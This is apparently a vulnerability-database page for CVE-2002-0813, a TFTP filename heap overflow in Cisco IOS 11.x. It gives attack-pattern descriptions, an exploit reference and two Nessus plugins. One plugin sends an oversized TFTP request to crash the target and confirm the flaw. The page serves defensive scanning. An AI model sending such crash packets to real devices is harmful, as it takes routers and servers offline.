Vulnerabilities > CVE-2002-0813 - Improper Restriction of Operations within the Bounds of a Memory Buffer vulnerability in Cisco IOS 11.1/11.2/11.3
Attack vector
UNKNOWN Attack complexity
UNKNOWN Privileges required
UNKNOWN Confidentiality impact
UNKNOWN Integrity impact
UNKNOWN Availability impact
UNKNOWN Summary
Heap-based buffer overflow in the TFTP server capability in Cisco IOS 11.1, 11.2, and 11.3 allows remote attackers to cause a denial of service (reset) or modify configuration via a long filename.
Vulnerable Configurations
Part | Description | Count |
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OS | 3 |
Common Weakness Enumeration (CWE)
Common Attack Pattern Enumeration and Classification (CAPEC)
- Buffer Overflow via Environment Variables This attack pattern involves causing a buffer overflow through manipulation of environment variables. Once the attacker finds that they can modify an environment variable, they may try to overflow associated buffers. This attack leverages implicit trust often placed in environment variables.
- Overflow Buffers Buffer Overflow attacks target improper or missing bounds checking on buffer operations, typically triggered by input injected by an attacker. As a consequence, an attacker is able to write past the boundaries of allocated buffer regions in memory, causing a program crash or potentially redirection of execution as per the attackers' choice.
- Client-side Injection-induced Buffer Overflow This type of attack exploits a buffer overflow vulnerability in targeted client software through injection of malicious content from a custom-built hostile service.
- Filter Failure through Buffer Overflow In this attack, the idea is to cause an active filter to fail by causing an oversized transaction. An attacker may try to feed overly long input strings to the program in an attempt to overwhelm the filter (by causing a buffer overflow) and hoping that the filter does not fail securely (i.e. the user input is let into the system unfiltered).
- MIME Conversion An attacker exploits a weakness in the MIME conversion routine to cause a buffer overflow and gain control over the mail server machine. The MIME system is designed to allow various different information formats to be interpreted and sent via e-mail. Attack points exist when data are converted to MIME compatible format and back.
Exploit-Db
description | Cisco IOS 11.x TFTP Server Long File Name Buffer Overflow Vulnerability. CVE-2002-0813. Dos exploit for hardware platform |
id | EDB-ID:21655 |
last seen | 2016-02-02 |
modified | 2002-07-26 |
published | 2002-07-26 |
reporter | FX |
source | https://www.exploit-db.com/download/21655/ |
title | Cisco IOS 11.x - TFTP Server Long File Name Buffer Overflow Vulnerability |
Nessus
NASL family CISCO NASL id CSCDY03429.NASL description Trivial File Transfer Protocol (TFTP) is a protocol which allows for easy transfer of files between network connected devices. A vulnerability has been discovered in the processing of filenames within a TFTP read request when Cisco IOS is configured to act as a TFTP server. This vulnerability is documented as Cisco Bug ID CSCdy03429. last seen 2020-06-01 modified 2020-06-02 plugin id 11056 published 2002-07-30 reporter This script is (C) 2002-2018 Tenable Network Security, Inc. source https://www.tenable.com/plugins/nessus/11056 title Cisco TFTP Server Long Filename DoS (CSCdy03429) code # # (C) Tenable Network Security, Inc. # # Script audit and contributions from Carmichael Security # Erik Anderson <[email protected]> (nb: domain no longer exists) # Added BugtraqID and CAN # include("compat.inc"); if(description) { script_id(11056); script_version("1.25"); script_cve_id("CVE-2002-0813"); script_bugtraq_id(5328); script_name(english:"Cisco TFTP Server Long Filename DoS (CSCdy03429)"); script_set_attribute(attribute:"synopsis", value: "The remote device is missing a vendor-supplied security patch." ); script_set_attribute(attribute:"description", value: "Trivial File Transfer Protocol (TFTP) is a protocol which allows for easy transfer of files between network connected devices. A vulnerability has been discovered in the processing of filenames within a TFTP read request when Cisco IOS is configured to act as a TFTP server. This vulnerability is documented as Cisco Bug ID CSCdy03429." ); script_set_attribute(attribute:"solution", value: "http://www.nessus.org/u?1212ca9e" ); script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:N/I:N/A:C"); script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C"); script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available"); script_set_attribute(attribute:"exploit_available", value:"true"); script_cwe_id(119); script_set_attribute(attribute:"plugin_publication_date", value: "2002/07/30"); script_cvs_date("Date: 2018/06/27 18:42:25"); script_set_attribute(attribute:"vuln_publication_date", value: "2002/07/25"); script_set_attribute(attribute:"plugin_type", value:"local"); script_set_attribute(attribute:"cpe", value: "cpe:/o:cisco:ios"); script_end_attributes(); script_summary(english:"Uses SNMP to determine if a flaw is present"); script_category(ACT_GATHER_INFO); script_copyright(english:"This script is (C) 2002-2018 Tenable Network Security, Inc."); script_family(english:"CISCO"); script_dependencie("snmp_sysDesc.nasl"); script_require_keys("SNMP/community", "SNMP/sysDesc"); exit(0); } # The code starts here ok=0; os = get_kb_item("SNMP/sysDesc"); if(!os)exit(0); # Check for the required operating system... #---------------------------------------------------------------- # Is this IOS ? if(!egrep(pattern:".*(Internetwork Operating|IOS).*", string:os))exit(0); # IOSes 11.1 to 11.3 are vulnerable if(egrep(string:os, pattern:".* 11\.[1-3][^0-9].*")) security_hole(port:161, proto:"udp");
NASL family Gain a shell remotely NASL id TFTPD_OVERFLOW.NASL description The remote TFTP server dies when it receives a too big UDP datagram. An attacker may use this flaw to disable the server, or even execute arbitrary code on the system. last seen 2020-06-01 modified 2020-06-02 plugin id 18264 published 2005-05-16 reporter This script is Copyright (C) 2005-2019 Tenable Network Security, Inc. source https://www.tenable.com/plugins/nessus/18264 title TFTPD Server Filename Handling Remote Overflow code # # (C) Tenable Network Security, Inc. # # Not tested against a vulnerable server! include("compat.inc"); if (description) { script_id(18264); script_version("1.21"); script_cvs_date("Date: 2019/03/06 18:38:55"); # Not sure for 10526 or 11584 # BID=6043 / CVE-2002-1542 is different script_cve_id("CVE-2002-0813", "CVE-2003-0380"); script_bugtraq_id(401, 5328, 7819); script_name(english:"TFTPD Server Filename Handling Remote Overflow"); script_summary(english:"Crashes TFTPD with a big UDP datagram"); script_set_attribute(attribute:"synopsis", value: "The remote host has an application that is affected by a buffer overflow vulnerability."); script_set_attribute(attribute:"description", value: "The remote TFTP server dies when it receives a too big UDP datagram. An attacker may use this flaw to disable the server, or even execute arbitrary code on the system."); script_set_attribute(attribute:"solution", value:"Upgrade software, or disable this service."); script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P"); script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C"); script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available"); script_set_attribute(attribute:"exploit_available", value:"true"); script_cwe_id(119); script_set_attribute(attribute:"vuln_publication_date", value:"2002/07/25"); script_set_attribute(attribute:"plugin_publication_date", value:"2005/05/16"); script_set_attribute(attribute:"potential_vulnerability", value:"true"); script_set_attribute(attribute:"plugin_type", value:"remote"); script_end_attributes(); # Not an ACT_DESTRUCTIVE_ATTACK (see CVE-2002-0813), should be an ACT_KILL_HOST # but sending 700+ packets is slow script_category(ACT_FLOOD); script_copyright(english:"This script is Copyright (C) 2005-2019 Tenable Network Security, Inc."); script_family(english:"Gain a shell remotely"); script_require_keys("Services/udp/tftp", "Settings/ParanoidReport"); exit(0); } include("audit.inc"); include("global_settings.inc"); include("dump.inc"); if (report_paranoia < 2) audit(AUDIT_PARANOID); if ( TARGET_IS_IPV6 ) exit(0); if(islocalhost()) exit(0); # ? # This function cannot yet send UDP packets bigger than the MTU # TBD: write 'fragment_packet' function function tftp_ping(port, huge) { local_var req, rep, sport, ip, u, filter, data, i; debug_print('tftp_ping: huge=', huge, '\n'); if (huge) req = '\x00\x01'+crap(huge)+'\0netascii\0'; else req = '\x00\x01Nessus'+rand()+'\0netascii\0'; sport = rand() % 64512 + 1024; ip = forge_ip_packet(ip_hl : 5, ip_v: 4, ip_tos:0, ip_len:20, ip_off:0, ip_ttl:64, ip_p:IPPROTO_UDP, ip_src: compat::this_host()); u = forge_udp_packet(ip:ip, uh_sport: sport, uh_dport:port, uh_ulen: 8 + strlen(req), data:req); filter = 'udp and dst port ' + sport + ' and src host ' + get_host_ip() + ' and udp[8:1]=0x00'; data = NULL; for (i = 0; i < 2; i ++) # Try twice { rep = send_packet(u, pcap_active:TRUE, pcap_filter:filter); if(rep) { if (debug_level > 2) dump(ddata: rep, dtitle: 'TFTP (IP)'); data = get_udp_element(udp: rep, element:"data"); if (debug_level > 1) dump(ddata: data, dtitle: 'TFTP (UDP)'); if (data[0] == '\0' && (data[1] == '\x03' || data[1] == '\x05')) { debug_print('tftp_ping(port=', port, ',huge=', huge, ') succeeded\n'); return TRUE; } } } debug_print('tftp_ping(port=', port, ',huge=', huge, ') failed\n'); return FALSE; } # port = get_kb_item('Services/udp/tftp'); if (! port) port = 69; if (get_kb_item('tftp/'+port+'/backdoor')) exit(0); if (! tftp_ping(port: port)) exit(0); start_denial(); # 700 is good for CISCO, and more than enough for atftpd # 1000 might be necessary WinAgents, but the flaw might be different tftp_ping(port: port, huge: 1000); # I'll check this first, in case the device reboots tftpalive = tftp_ping(port: port); alive = end_denial(); if (! alive) { report = string("\n\n", "The remote device freezes or reboots when a too big UDP datagram","\n", "is sent to the TFTP server.", "\n"); security_hole(port: port, proto: "udp", extra:report); } else if (! tftpalive) security_hole(port: port, proto: "udp"); if (! alive || ! tftpalive) set_kb_item(name: 'tftp/'+port+'/overflow', value: TRUE);